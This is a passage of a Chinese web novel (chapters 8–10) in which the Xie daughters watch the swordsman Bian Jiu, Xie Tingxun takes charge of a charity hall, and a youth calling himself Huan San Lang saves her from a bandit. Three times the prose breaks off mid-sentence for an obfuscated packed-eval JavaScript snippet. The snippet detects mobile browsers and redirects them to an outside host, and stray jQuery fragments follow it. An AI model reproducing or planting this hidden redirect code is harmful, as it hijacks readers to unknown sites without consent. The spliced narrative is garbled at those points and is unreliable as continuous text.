京都谢氏的女郎,身边女使都那样盛气凌人,简直目无下尘。
“我言尽于此。”
“你若借此生事,谢氏不会放过你。”
“劳烦让路。”
女郎嗓音泠泠如玉碎,带着说不出的清冷意味,更让人无法拒绝。卞九已经得到了自己想要的答案,不欲与这位清高的女郎斗嘴,干脆让开一条路。
对方转身离去,举止端庄。
就连被风吹起的衣袂,都是恰到好处的矜持,丝毫不显急促。
无端的,卞九骤然联想到先前那半张侧脸。
春风吹起卷帘,帘内女郎眉如春山、眼如秋水,漆黑垂髾如丝絮般拂过苍白的侧脸,唯独唇上点了淡淡胭脂,越发衬得人如冷玉雕成。
本打算也离开的卞九,心口无端急促几分。
他唇齿间绕过一个称呼。
谢九娘。
少年脚步不由轻快了几分。
他足尖轻点,飞快掠过树梢,悄无声息落在不近不远的位置。
隔着碧色纱幔,远远能瞧见谢氏诸人的影子。
虽然可以考得更近,卞九却并未再往前。他停在这个既算礼貌,又不算太礼貌的位置,坐在树干上,屈起一只膝盖倚靠着花枝,远远看着那些模糊的身影。
少年推开傩戏面具,仰头喝了一口酒。
烈酒灼热的气息在喉间散开,少年看着那些模糊不清的背影,又想起一道侧影。
忍不住微微扬起眉梢,眼底浮现明亮的笑意。
他接住空中扑棱棱飞来的信鸽,抽出纸张看了一眼,信手碾碎成扬尘。
为什么突然要留在江州?
江州有谢九娘,有什么道理不留在江州?
不会有比江州更好的风景了。
卞九自己抽出一张纸,慢慢写了几个字,卷好绑在信鸽身上。信鸽盘旋着他一会儿,见没有和往日一样撒吃的,只好扇扇翅膀飞走了。
他在树上坐了会儿,起身跃下枝头。
方才那位讨人厌的女郎说得对,江州谢氏门第太高,别说是见一面谢九娘,便是打听与谢九娘相关的事情都格外麻烦。
他得想一想办法,见一见那位九娘子。
在见到这位九娘子之前……
少年站在河边,蹙眉看着水中的倒影,他不知道谢九娘是否会喜欢。太守袁家的那些儿郎,衣着繁复,配饰考究,面若敷粉,无一处不彰显着上流社会的精致华贵。
可转念一想,纵然谢九娘不喜欢那又如何?
连他都不太确定,自己是否喜欢谢九娘。
但若是见到她,他会很高兴。
很高兴。
这是确信无疑的事情。
8.春心发
谢庭训到时,九娘正一个人生闷气。
不必追问也知道,多半是因为刚才的事情,被崔氏训了一顿。
阿豆哄了好半天,也不见好。
然而一见谢庭训,少女便双眼发亮,快步凑了过来。
“七姊姊,你陪我们去东面看别人放纸鸢好不好?”九娘握住谢庭训的衣袖,撒娇地晃了晃,眼里满是哀求,“好不容易出来,还要在这里圈着,实在无聊得紧!”
谢庭训垂眼看向九娘,“只是无聊?”
少女便撅了撅嘴,不说话。
八娘走过来坐下,迟疑片刻,小声道:“我也想去看放纸鸢。”
十二娘为难地也点点头。
她们三个都想要出去放风,又怕挨责备,便要谢庭训为她们做这个主。
谢庭训看着三个年幼的堂妹,有些心软。方才袁六娘从策马疾驰而来,何等自由自在,可见江州并不像京都那样规矩繁多。
她们几个,只怕在自己未来江州之前,也没被约束得这样严格。
轻叹了一口气。
谢庭训点点头,说道:“让我歇一歇,再随你们去。”
九娘悄悄露出得逞的笑意,乖乖点头。
只有八娘看了一眼谢庭训,少女本就缺些血色的面容越发苍白,纵然姿态端庄从容也遮不住眉间的疲倦,越发羸弱清冷若霜华。
不知道为什么,她忽然没有那么羡慕这位七姊姊了。
“我们坐马车过去。”
“让马车慢慢走,我们绕着远郊逛一圈。”
“如此就好了,也不突兀。”
谢庭训听八娘这样说,微笑着应了声好。
不过片刻,四个少女便坐上了谢家的马车,面对面都有些说不出的兴奋。她们彼此对视一眼,然后心照不宣地移开视线,最后掀开帘子。
她们当然不是为了看别人放纸鸢。
而是,为了来看卞九。
方才九娘绕了那么大一个圈,不说拜见长辈,就连最不喜欢的袁六娘都会了一面,结果却连卞九的影子都没看到,当然很不甘心啊!
而据阿豆打听,太守府的郎君们很是仰慕卞九。
若无意外,他们应当就在东侧河水下游切磋剑术,还有不少人前去观看。
她们自然也要路过一下!
但这些,她们三个自然不敢和谢庭训说。
毕竟方才谢庭训已经帮九娘出了一次头,万万不可能再这么好脾气。不过好在,谢庭训也并未追问其他,反而是支着下巴闭目养神。
九娘乐得谢庭训不管她。
她一个人趴在车窗上,目不转睛地想要将窗外每一分景色都收入眼底。
更是打起十二分精神,寻找剑客卞九。
马车缓缓向前,没一会儿,便到了河水下游,这里果然围了不少人。靠近河岸的位置,则是不少锦衣华服的少年郎,不少更是仗剑其间。
几乎一眼,九娘就激动起来。
她拽住八娘的袖子,急促道:“你看!你看!那一定是卞九!”
连带着,谢庭训也被吵得睁开了眼。
车窗的帘子几乎被八娘全都掀了起来,只一眼,外头的人物景色便尽收眼底。一色的华冠丽服里,唯有最中央的少年最为惹眼。
那是个肤色白皙,眉眼秀气的少年郎。
他打扮得很是朴素。
身着颜色发白的粗麻夏布衣袍,腰带草绳束起,却配了一把极其古拙厚重的重剑。
九娘双眼发亮地紧盯着那个少年,恨不得跳下马车,仔细观看少年身上每一处细节。但谢庭训扫了一眼,却微微蹙起眉,心下觉得有些怪异。
然而四周围观的少男少女们,却格外兴奋。
甚至有不少胆大的少女,折了花枝,或将自己所带的果子抛掷向白衣少年。
一时之间,场面异常活跃。
那少年似乎并不觉得难为情,反而是抽出腰间重剑,行云流水舞了一套剑式。一时之间,碧水叮咚,桃杏纷飞,少年飒沓如流星。
周围一片叫好,目不转睛。
车上不止是九娘,连八娘和十二娘都忍不住探出脑袋,紧紧盯着舞剑的少年。
无他,这剑招耍起来确实极其风流潇洒。
何况那少年本就生得俊秀。
一套剑招舞毕,有锦衣郎君上前和他说话。
白衣少年回过头,视线越过层层叠叠的花枝,径直看向谢氏停驻在此的马车。
他一手接过身侧青衣女郎递来的迎春花,一手随意将重剑挂在腰间,随即抬手对着谢氏女郎们挥了挥,面上的笑意越发明朗。
几个少女猝不及防,连忙缩回脑袋。
唯有九娘仍趴在车窗上。
她目光和少年相接,微微愣怔一下,飞快回神也扬起笑容。
但很快,少年便重新被人包围。
九娘放下帘子,双手交叠放在膝盖上,双眼发亮,“卞九刚刚朝我笑了!”
也不等别人怎么说,她便陶醉在了自己的世界里。
“哪里是朝她笑,分明是对每个人都笑了一遍。”八娘无语地嘀咕了一句,“这么多女郎向他献殷勤,他都照单全收,看来对袁六娘也并非……”
“才不是呢!”
“难道要他直接拒绝女郎们的好意吗?这才可以见得,卞九郎风度翩翩,故而才更招女郎们喜欢。”
“换做是你被拒绝,难道你不会觉得尴尬?”
“……”
九娘当即和八娘争论了起来。
十二娘好奇地掀开帘子,继续看起了热闹。
谢庭训被两人吵得没法安生,干脆睁开眼睛,坐在十二娘身侧看风景。窗外的人群越来越多,不但聚集了许多看热闹的寻常百姓,还有不少世家女郎也学她们坐在马车内,掀开帘子观看着少年们舞剑。
至于人群中的少年郎君们,则越发神采飞扬。
都精神奕奕,风度翩翩,明显是想给女郎们留一个好印象。
唯独远处小径中,有一道身影从容而来,素白衣衫被风吹得微微掀起,越发衬得身姿若轻鸿。
那个白衣少年的身影,很眼熟。
谢庭训略作思索,便将他与先前碰见的傩面少年对上。
虽然看不清脸,但身姿却十分相仿。
一众锦衣少年见了他,纷纷凑了过去。先前在人群中众星拱月的白衣侠客,也快步上前,与他行了个平辈礼,不知道都说了些什么。
刚来的白衣少年,骤然往谢庭训这边看了一眼。
不知道是不是谢庭训的错觉,只觉得少年散漫从容的姿态,仿佛都陡然端正局促了不少。
然而他单单站在那,便很是自在写意。
白衣侠客抽出腰间重剑,似乎是想要与他过招。
新来的白衣少年信手折下一枝杏花,抬手行云流水般行礼,格外谦让礼貌。下一刻柔弱绮丽的花枝化身锐剑,不带丝毫花哨的剑招凌空而去,如惊雷闪电。
白衣侠客手中原本颇为从容的重剑,陡然变得左右支绌起来。
谢庭训原本还有些不确定,是否认错了白衣少年。
然而一见杏花枝在他手中使出的的剑招,几乎心下了然,必然是先前撞见的少年。
两道身影有来有回,格外精彩。
片刻后,那道看似脆弱的杏花枝振飞重剑,杏花纷飞如雨。两个少年分别止住动作,各自行礼,旁人却早已看得忍不住交起好来!
这回有不少花朵瓜果,也扔向了新来的白衣少年。
然而少年摆了摆手,视线越过花影,看向谢氏停驻的马车。
他抬手,重新折取了一枝杏花。
谢庭训只觉得那少年目光锐利如剑,仿佛能看清马车内的视线般,下意识侧过脸,略想了想,便叮嘱十二娘将帘子放下来。
“要走了吗?七姊姊。”十二娘有些依依不舍。
正在斗嘴的九娘也回过神,连忙说道:“你们等一等我,我过去一趟,马上就回来!”
说着,便要下车。
“妙音!”八娘自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785230|157840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然也觉得九娘有些出格,下意识伸手拉住她,“这个卞九虽然风采出众,却实在风流成性,远远看上几眼便够了。难道你还指望,他当真对你另眼相待吗?”
九娘瘪了瘪嘴,不吭声。
然而被人拦了一把,反而越发掘了起来。
一时之间,反倒都看向谢庭训。
然而,不等谢庭训说话,车外已然响起了谢家仆人的通传声。
“有人送来一枝杏花。”
“说是……赠与我家的九娘子。”
四人皆是微微一愣。
九娘已然出声问道:“是谁人来送的?”
“瞧着,”答话的仆从有些谨慎地顿了顿,过了片刻,才低声说,“像是袁家的下人,却并未告知,究竟是哪位赠与女郎的杏花。”
“但并非袁家任何郎君身边的长随。”
“倒像是寻常不起眼的仆从。”
九娘眼珠一转,不说话了。
她掀开帘子,看向仆从手中那支轻盈娇嫩的杏花。
懒懒伸手接过,便立刻放下帘子。
“这算另眼相待吗?”九娘握着杏花枝上下打量,瞥了八娘一眼,自顾自说,“一定是我特意来看卞少侠,又一贯最仰慕他,被他知道了,所以特意赠我杏花。”
八娘看了一眼杏花,没作声。
确实有些奇怪。
若是袁家的郎君要赠花,自然会表明身份。
谢庭训若有所思。
袁谢同属于江州最一流的世家,若是袁家郎君有意赠花,大可大大方方,传出去了也是一桩美谈,不会如此。换做是别人,多半也无法劳动袁家的仆人。
所以,九娘猜得多半没有错。
如此说来,这位卞九郎浪荡轻薄之余,只怕未必没有攀附谢家的心思。毕竟他和九娘不过远远对视一眼,如此献殷勤,多半是因为九娘心中仰慕他,觉得九娘好拉拢而已。
既已经得了袁六娘的青眼,又来招惹九娘。
谢庭训此时心中已然有些厌恶。
然而面对几个天真烂漫的少女,她也不愿将这些龌龊的心思掰开细讲,免得叫她们难过,干脆装作什么也不知道。
“先回去吧。”
“天色已经不早了,再不看纸鸢,只怕是来不及了。”
“怎么连来意都忘了?”
听到看纸鸢,三个少女面色各异,但都老老实实没顶嘴。
马车绕着桃杏林绕了一大圈,算是将四周的春日胜景都尽收眼底,才转身折返。回头时,天边已然隐隐泛起夕阳,三两只纸鸢被渡了一层金边。
崔氏已经等了几人有一会儿。
但瞧着心情不错,竟没有出言指责几人。
只单独让谢庭训和自己一辆马车,便让众人收拾齐整,准备回城。
“我今日带你出来,你可知道是为何?”崔氏没有如初见时那样拿乔,反而语气温和,“七娘,今日许多人家的夫人,都在我跟前夸你风姿气度。”
“七娘出身谢氏,自然应当跟在叔母身侧。”
“若非叔母教导,何来七娘?”
崔氏看着面前低眉敛目的少女,只觉如见到了故人,心下有些感慨。往前数一辈,世家女郎中最出挑的,当属谢庭训的母亲王容韵。
只可惜……
“我家中这一辈,男丁凋敝。”
“只剩几个女郎尚且还算周全,却也算不上太过出色。”
“江州谢氏,需要有人顶上。”
谢庭训眸色清浅。
她连脖颈微垂的弧度,都让人挑不出一丝错处,恭谨从容。
就这么安安静静,听着长辈训诫。
“是。”她说。
崔氏伸出手,握住女郎微凉的手腕,轻声道:“若是你能做江州谢氏所需的那个人,来日你重回京都之时,你的叔父堂兄堂弟乃至几位妹妹身后的家族,都是你的后盾。”
谢庭训抬起眼帘。
崔氏松开手,“谢氏女,哪有因为被退婚,就成为弃子的道理?”
9.春心发
虽然同为谢氏。
但京都谢氏有京都谢氏的立场,江州谢氏自然也有江州谢氏的立场。
无论谢庭训被送回祖宅的真实原因是什么。
眼前的女郎,相貌心性,才学品行样样出挑都是实打实的。
为己所用,总比平白荒废要好。
“七娘不明白叔母的意思。”谢庭训微微蹙眉,语调柔顺温和,“但若是长辈要七娘做些什么,只要是七娘能做的,必然认真去做。”
崔氏心下叹息。
家中其余的小辈,大多一团孩子气。
若是能有三分如谢庭训,也不必如此令人焦灼。
可转念一想,谢庭训年纪轻轻,便如此思虑周全,只怕未必是多好的一件事。更何况,从京都被赶回江州老宅,换做寻常贵族女郎,只怕要死的心都有了。
“也没什么太要紧的。”崔氏的语气不免温柔了几分,看向谢庭训的目光多了些怜惜,“如今连年的天灾人祸,我们世家大族底蕴深厚,只说难过些。底下的寻常百姓,却日子难挨,我们少不得要接济几分……”
“家里的事情杂,我一个人尚且操持不过来。”
“许多琐碎事情,少个人帮把手。”
谢庭训说:“若是叔母信得过,七娘可以学着帮忙。只是七娘年纪小,只怕只能经手些许细枝末节的小事……”
“眼下正有一件事。”崔氏见谢庭训已经闻弦而知雅意,便也不再说些虚话,直接说,“不算大事,只是格外琐碎,需要一个心细的人帮我。”
“你叔父打算开一间慈善堂。”
“以谢家的名义,收留贫病妇孺,接济穷苦流民。”
“抛头露面的杂事,自然有你叔父的部下去做,但其间却少不得要出一个谢氏的人,仔细定个章程,为许多事情拿个主意。”
“七娘,你意下如何?”
谢庭训有些意外。
她看向眼前的崔氏,沉默片刻,点头道:“叔父叔母信得过我,自然领命。”
崔氏笑着说:“当然信得过。”
解下来,崔氏便大概将慈善堂现在的情况,与负责此事的部下,一一说给谢庭训听。两人一问一答,倒也十分默契,直到马车抵达谢家。
谢庭训才下马车,便见不远处齐刷刷站着三个堂妹。
眼见崔氏走了,立马凑了过来。
方才在崔氏跟前,还老实得跟一排小鹌鹑似的小姑娘,此时叽叽喳喳要往谢庭训跟前凑。你一言我一语,都是说不出的紧张,还带点不自知的亲昵。
“阿娘训斥你了吗?七姊姊。”
“她是罚你抄书还是禁足?若是抄书,我们可以一起给你写,禁足就更不用怕了,我们都可以每日悄悄去找你玩……”
“没关系的,阿娘只是刀子嘴豆腐心,她不会真的生气的。”
最后九娘终于受不了了,喝止另外两人,自己跳出来高声说道:“哎呀!算了,这件事都怪我,我去给阿娘请罪认罚就好了,让她收回对七姊姊的惩罚!”
谢庭训静静听着几个少女七嘴八舌说完。
才收了脸上严肃正经的表情,说道:“当真?”
九娘一愣,磕巴了一下,“自……自然。”
嘴上虽然这么说,但九娘明显是紧张了起来,却强作镇定。谢庭训顺着廊庑往前走去,顺手敲了一下九娘的额头,才说道:“叔母并未罚我。”
几个少女一片安静。
随即,不知道是谁牵住了谢庭训的袖子。
她们表情一下子变得很精彩。
“偏心!”
“若换做是我们,阿娘早就发怒了!”
“那她为何单独留下你?”
谢庭训抽回衣袖,回眸一笑,并不言语。
留下几个心如猫挠的少女,谢庭训加快步伐,飘然而去。阿姮跟在谢庭训身后,一直到进了自己所住的院子,才忍不住地笑了起来。
“几位女郎倒是好心。”
“若是待在江州,别的赶不上,日子倒是热闹许多。”
“女郎瞧着,也比在京都鲜活一些。”
说完这些,便见谢庭训面上已经露出疲态,心知她身体只怕是撑不太住了。连忙上前为她更衣,不再多话,好让她早些歇下休息。
接下来几日,谢庭训便大多数时候留在崔氏院中,跟着崔氏和崔氏身边的陈媪学一些要经手的事情。她也大概了解到,谢家的慈善堂尚且还在筹备,眼下还未正式开始赈灾。
不过眼下正是青黄不接的季节。
许多事情,不能再拖,必须有一个人做主心骨。
崔氏显然准备将此事全权交给她。
该交代的交代得差不多,接下来,便需要谢庭训亲自去过手。
二月十七,谢庭训命人驱车前往城西正在修建的慈善堂。
大抵是听到了风声,善堂虽然还未修缮完毕,外头却早已聚集着零零散散的流民乞丐,眼巴巴地看着善堂的工人。
谢庭训并未提前通知善堂的管事,所乘马车也并未带着谢家家徽,行至道路转角便停下。她和阿姮下了车,且走且看,静静打听江州百姓的风俗。
快要当善堂外时,前方传来喧哗。
道路正中坐了个跛足癞头的老汉,正哭天抢地,拽着一个少年郎君的衣摆不撒手。那少年郎君却懒洋洋地,一脚踹翻老汉,抬手便抽出腰间佩剑。
“胡闹!竟敢如此当街行凶!”阿姮想也不想,抬手示意暗处卫士,自己直接快步冲了过去,“谢氏部下在此,岂容你如此宵小之辈胡作非为!”
少年的剑快若白虹。
在阿姮尚未反应过来之前,已然转换了方向,想着阿姮而来。
剑气斜飞而去,却正好扑向了拉阿姮的谢庭训。
春风裹挟着凌冽的剑气扑面而来,吹开谢庭训面前重重帷纱,两鬓垂髾扬起模糊了视线。她的视线穿过人群,正对上少年回头的目光,一时间无法收回。
少年仿佛遇到了什么极为惊诧的事情。
原本狭长风流的一双眼,骤然瞪圆了几分,眸色清澈如水。
他直直看向她,有些失神。
谢庭训下意识蹙眉,然而地上的老汉,却骤然跳起。阿姮和冲向少年的谢家部下都反应不及,眼见着老汉朝着谢庭训扑来,抬手要掐她的脖颈。
她下意识想要后退避开。
然而避之不及。
危急关头,是少年手中长剑破空,劈向癞头老汉。这一剑凌厉至极,却带着三分失措,以至于老汉身侧的谢庭训也受到了波及。
谢庭训面颊被剑气掠得发疼,身体不受控制被老汉撞飞。
然而空中有一道身影更快,飞身上前拉住了她。
手腕被一只修长有力的手拉住,对方掌心薄茧硌得她有些疼,却稳住了她的身形。素白帷纱被风吹起,少年前倾掠来的身体像一只轻盈的鹤,轻而易举撞入她眼底。
谢庭训只觉得视线被帷纱隔开,眼前只有对方清晰的面容。
那是一张俊逸明朗到令人无法忽视的面容,飞扬的眉眼似笑非笑,带着天然的风流缱绻,却偏偏目光清澈专注到令人心弦一震。
少年有些发懵地直直看向她。
然而他的目光炙热、明亮,带着毫不掩饰的欢喜,像是春日鲜活的草木。
连带着她都好像也便日光点燃了一般。
咚。
咚咚咚。
她只觉得心跳得比什么都快。
目眩神迷,无法回神。
谢庭训被这突如其来的一切刺激得几乎想要闭眼,缓一缓神。然而少年闯入得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788990|157840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样突然,帷纱隔开了一切,他的面容近在咫尺,连微微急促的呼吸都落在她鼻尖上。
因为惯性的缘故,他靠近得几乎要贴上她的面颊。
然而少年下一步,克制地侧了侧脸。
像是有些赧然。
又像是因为礼貌,想要拉开距离。
说不清道不明。
谢庭训看见他浓长轻颤的眼睫毛,被日光照出一道薄薄的影子,眼尾往下的面颊上几点被晒出来的淡淡斑痕,还有三分恍若错觉的薄红。
好在下一刻,少年已经重新与她拉开距离。
谢庭训后腰被人扶住,不着痕迹站稳了身形,宽袍大袖遮盖掉了两人的接触。
视线重新被落下的帷纱笼罩。
谢庭训浑身僵硬站在原地。
她缓缓地吐出一口浊气,仍觉得心口余悸未停,视线也仿佛有些恍然。
“此人是亡匪赵叩。”
谢庭训看向已经被谢家卫士制住的老汉,对方面色狰狞,早已没有了先前看到的凄苦可怜。卫士将他浑身检查一二,发现果然有不少伪装,得了谢庭训许可,便压着人往官府去了。
阿姮尚且惊魂未定,连忙奔向谢庭训。
上下检查一二,高声道:“离我家女郎远一些!”
当即挡在两人之间,不让少年靠近。
先前说话的少年收回视线,看向阿姮,脱口而出道:“……怎么是你?”
“你们认识?”谢庭训问。
阿姮也脱口而出道:“我怎么可能认识他?”
谢庭训看向少年。
少年表情镇定得有些过分,信手将长剑收入鞘中,冷冷一笑,淡淡道:“看错了。”
阿姮也不高兴道:“女郎,我从未与你离开过!”
想想也是,阿姮与自己刚来江州没多久,怎么可能会认识此人。但不知道为什么,谢庭训总觉得他有些眼熟,但细细思量方才见到的一张脸,却又全然没见过。
可能是错觉吧。
谢庭训有些不愿细想方才那一幕,不再追究。
反正只是一个路人而已。
“多谢郎君出手相助。”谢庭训礼貌地行了个礼,温声说,“不知郎君尊姓大名?日后若有机会,定然报答郎君。”
少年下意识张了张口,却没出声。
表情有些说不出的古怪。
谢庭训便道:“我姓谢。”
“谢娘子……”少年迟疑了片刻,表情重新归于从容镇定,嗓音带着几分少年人才有的鲜活意气,却回答得很认真,“我是江湖草莽,无名无姓。”
谢庭训微微一怔。
过了一会儿,她才轻声道:“如何称呼?”
想了想,补了句,“抱歉。”
可能是她问的问题,让少年有些难堪,才这样表情古怪。
“哦。”少年倒像是长舒了一口气,面上扬起笑意,看向她坦坦荡荡地说,“你可以叫我桓三郎,桓是我义父的姓氏,我并没有骗你。”
他笑得眼底流光湛湛。
天生风流的狭长桃花眼微眯,直直看向她。
带着少年人没有遮掩的直白情绪。
谢庭训无意识吹了垂眼,避开他明亮的视线,心中大概对他的身份有了猜测。应当是依附士族的庶族游侠,不过性子倒好,品行也不差。
“今日多谢了桓三郎。”
“我正要前往谢家所盖的慈善堂,想必桓郎君必然也是侠义之辈,日后若有需要,可以前往慈善堂找我。”
“若我不在,其余人也会告知于我。”
少年眼睛一亮。
他握着剑柄,像是有点紧张,说道:“也就是说,我日后可以去慈善堂找谢娘子?”
说完,又轻咳两声,收了面上不自觉的笑意。
10.春心发
谢庭训微怔,道:“自然可以。”
少年漂亮的眼睛里透出光亮,飞快又移开了目光。
只有春日的风,依旧温柔和熙。
不知道为什么,谢庭训觉得气氛有一些奇怪。然而细细想来,似乎也并没有哪里不对,只是眼前的少年格外与众不同一些而已。
“不过今日……”
卞九几乎是与她一起开口,说道:“今日也可以吗?”
谢庭训没反应过来,“什么?”
“今日也可以去善堂吗?”
少年看着她。
他眉眼间流淌出几丝天然的向往,少年心性,毫不遮掩。
目光带着几分热切,和赧然。
谢庭训下意识是想要拒绝的。
“盘桓在善堂外的,多半是心术不正的流氓,很多是赵叩那样的人。”
“谢娘子孤身,很不安全。”
少年抽出腰间一截雪亮长剑,目光掠过角落,锐利如电。他干干脆脆将长剑握在手中,上前几步,举止生来有几分风流潇洒的意味。
“若是我在话,”
“他们不敢轻举妄动。”
好生张狂。
和方才那一剑一样,锋芒毕露。
这个念头冒出的一瞬间,她眼前又闪过少年近在咫尺的脸,就这么强势突兀地闯入她的幂篱下,令她无所适从。谢庭训心口的跳动陡然快了几分,本能令她远离对方。
“不必。”谢庭训稳下心神,恢复了平日里的冷清镇静,“随行的谢家卫士,俱是身法了得的壮士,他们可以保护好我。”
少年微微一怔。
他眯起狭长的眼,扫过谢家随行卫士,带着几分毫不掩饰的不屑。
却也没说什么,只将长剑收入鞘中。
阿姮却问道:“为何你在,他们就不敢轻举妄动?难不成他们还听你的不成?”
“宵小之辈。”
“若是我在,他们便是想要干些什么……”
“也要先问过我的剑。”
少年轻笑了一下。
明晃晃的日光照进他漂亮的瞳仁里,倒映出光彩。
比剑光更为灼人。
“女郎,我看此人也是来自荐的。”阿姮的声音压低了一些,警惕挡在谢庭训身前,“如此夸大其词,我看不过是金玉在外,败絮其中。”
谢庭训下意识扫了少年一眼。
这句金玉在外,确实是担得住,他周身气度实在不凡。
“不可如此冒犯。”谢庭训冷声教训了阿姮一句,起身走向少年,“眼下不必劳烦桓郎君,方才出手相助,已然十分感谢……”
风吹动她的衣袂,窸窣作响。
对面的少年低垂长睫,缓缓摩挲了一下腰间剑柄,周身气势都柔和起来。
“好吧。”
他好脾气地说。
谢庭训莫名听出了一点失落。
不知道为什么,谢庭训忽然问道:“桓三郎,我们见过吗?”
卞九惊愕地看向她,忘了回答。
低垂的帷纱下伸出冷玉般的指尖,轻轻挽起遮罩,露出少女白皙柔和的面容。她乌黑的眸子看着他,带着几分不易察觉的好奇,和几分与生俱来的矜持高贵。
他一时之间答不上来。
少女反而抬起下巴,直视他。
她好似想要看清楚,他究竟什么时候出现在她面前过一样。
……
卞九一向坦荡潇洒,此时却觉得难得的心虚。
他不想承认自己是渡口的轻薄子。
何况,
当时他本就没有看她。
所以,不算。
“没有。”
断然否认的人,却是阿姮。
她闪身挡在两人之间,以袖隔开卞九的视线。
“我家女郎金尊玉贵,怎么会见过你一介草莽?”
卞九下意识想要反驳。
然而对上少女若有所思的目光,他喉间的话转了一圈,又不得不咽了下去。
他看着阿姮,深以为然道:“是啊,我怎么可能见过谢氏的女郎?无名无姓的庶民,平日里,远远看一眼谢娘子都看不到的……”
少年微微扬眉,神情仿佛很正经。
闻言,谢庭训将帷纱放下。
隔着春风,他听见少女清冷柔和的嗓音缓缓响起,“桓郎君何必如此自轻?”
听到她这么说,卞九轻咳一声。
然而在他开口之前,少女话音一转,“若是暂时抱负不得施展,不妨来我谢氏门下,必然以上宾招待。”
“不过,桓三郎这个称呼……”
“要改一改。”
女郎一本正经,嗓音温柔,说的话却是寸步不让。
卞九愣了一下,没回过神。
阿姮扑哧笑出声。
“是啊。”
“你若当真想要自荐,还顶着桓氏的名头,究竟算是谢氏的人还是桓氏的人?”
“谢家门内遍布芝兰,你若有诚意,倒或可……”
“阿姮。”谢庭训阻止了阿姮傲慢的话,然而视线却落在他身上,继续方才的话,“我手下,刚好缺一批为我效力的幕僚。”
卞□□流散漫的面上不得不正经了几分。
他蹙起眉来,指腹摩挲剑柄。
饶是他在江湖中自由自在惯了,却也不至于不知道世家门阀深重的规矩。眼前的女郎,出身江州谢氏,想要稍稍靠近她一些都并非是易事。
他做事一向随心。
自然没有拒绝她的道理。
但是……
“郎君且想一想啊。”
女郎说完这句话,转身离去。
仿佛有些忍笑。
空中只留着她温软的尾音,春风一吹,便消散得无影无踪。卞九回过神来,敏锐的视线飞掠向少女的背影,风中衣裙娉婷若一枝伶仃的花。
他盯着那道格外好看的背影。
凌厉的眉倏然一挑。
她好像,
是故意的。
不是很确定。
少年的视线又不自觉地追向那道背影,站在原地片刻,迈开修长双腿散了会儿步。最终,他还是转了个方向,朝着谢家慈善堂的方向而去。
她好像和他以为的不太一样。
卞九觉得心口像是猫儿在挠,实在没法静下来。
时下尚仗义侠气。
既然已经投了门路,再换旁人跟随,是要声名扫地的。
这位谢女郎不像是为难他,便是故意捉弄他。
卞九拎着剑,随意坐在慈善堂对面的酒家内。
他挑了个好位置。
从窗口往外看,正对着谢家慈善堂的位置。
时而能看见那位矜贵的谢女郎的侧影。
店家上的是自酿的浊酒,味道清淡。
卞九自斟自酌,时而抬眼朝着对面的慈善堂投过去一眼。
少年纵然仪态风流潇洒,可眉梢眼底仍带着江湖人才有的锐利杀意,令卖酒的老翁十分不安,时而悄悄看卞九一眼,不着痕迹将值钱的物件收起来。
……可别是来刺杀谢家人的。
听说许多豪族世家,结交武艺非凡、胆气逼人的侠客。
许以重金,就可以让对方付上性命,刺杀对头。
年纪轻轻,
就活得如此腻味。
老翁忍不住摇了摇头。
忽然,少年拎剑起身。
原先还散漫不羁的神态,已然冷冽如青锋。
眨眼间,便消失在酒家内。
卖酒的老翁二话不说,冲过去将店门合上,结结实实插上门闩才松开一口气。然而门外并未传来打斗声,他实在是好奇,忍不住贴近门缝往外看——
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822397|157840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
游荡在善堂外的流民乞丐,将尚未建好的善堂门口堵得严严实实。
不少游手好闲的少年更是混迹其中,趁机生事。
谢家所带的卫士把守门口,人是拦住了,整个场面却是乱糟糟的。至于方才那个杀气腾腾的少年,已然将长剑挂在了腰上,倚靠在门口的石狮子上。
……好像是特意过去看热闹的。
卞九当然不是看热闹的。
他只是觉得,谢女郎带的卫士不一定镇得住这群人。
若是寻常乌合之众。
谢家这些训练有素的卫士,自然能应付。
但方才赵叩出现,就很不一般。
本该低调的亡命之徒,竟然大摇大摆出现在江州城中,甚至不惜暴露行踪攻击谢氏的人。这背后若是没有人推波助澜,卞九是不信的。
如此说来,这位谢女郎倒格外奇怪。
既能插手家中的事情,又能离家去江州之外的地方。
偏偏瞧着又如此柔弱温驯。
卞九一面盯着这群人,一面漫不经心想着。然而不知道是不是因为他在的缘故,为首挑事的人眼珠一转,顿时偃旗息鼓,准备遁走。
恰好卞九也等得不耐烦了。
他手中利剑出鞘。
人群发出喧哗,单薄的绿叶破空飞去,削断矮瘦青年半截衣领。霸道强劲的剑气翻卷,余波将青年侧脸划开一道血痕,疼得他蜷身尖叫一声。
卞九抬手接住飘落的叶片。
似笑非笑,垂眼对上青年恼恨的眼。
带着三分挑衅,漫不经心。
